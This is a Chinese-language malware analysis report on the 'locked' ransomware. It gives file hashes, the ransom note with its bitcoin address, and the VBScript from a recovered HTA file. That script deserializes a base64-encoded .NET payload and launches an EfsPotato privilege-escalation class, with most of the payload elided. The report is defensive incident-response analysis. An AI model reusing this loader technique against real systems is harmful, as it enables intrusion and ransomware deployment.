011.【病毒分析】locked勒索病毒分析
输入“/”快速插入内容
011.【病毒分析】locked勒索病毒分析
011.【病毒分析】locked勒索病毒分析
用户1564用户1564用户9328用户9328
用户9379用户93794月9日修改
1.背景
1.1来源
近期，Solar团队收到某物流公司的援助请求，该公司的计算机服务器受到了locked勒索家族的侵害，所有的文件被加密并且添加了.locked后缀，该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求，本文暂不提供对入侵事件溯源的分析报告，仅提供该勒索病毒加密器的逆向分析报告。
2.恶意文件基础信息
2.1 文件基础信息
文件名 | 78403c39.exe |
大小 | 5632(5.50 KiB) |
操作系统 | Windows(95) |
架构 | I386 |
模式 | 32 位 |
类型 | 控制台 |
字节序 | LE |
MD5 | d6a722fc1d3e4998de93f6112dded913 |
SHA256 | 16482e6c3ad97f048851f87b67446a64340eeb8e |
2.2 勒索信
代码块
send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:c,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID
2.3 update[5].hta
在被感染的主机上找到了可疑文件，hta文件中嵌入了VBScript代码用于实现恶意功能
代码块
<script language="VBScript">
Sub DebugPrint(s)
End Sub
Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function
Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
...省略约20000行
s = s & "AAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5"
s = s & "IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
entry_class = "EfsPotato.Mshta"
Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add Empty
Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
End Sub
SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
DebugPrint Err.Description
Err.Clear
End If
self.close
</script>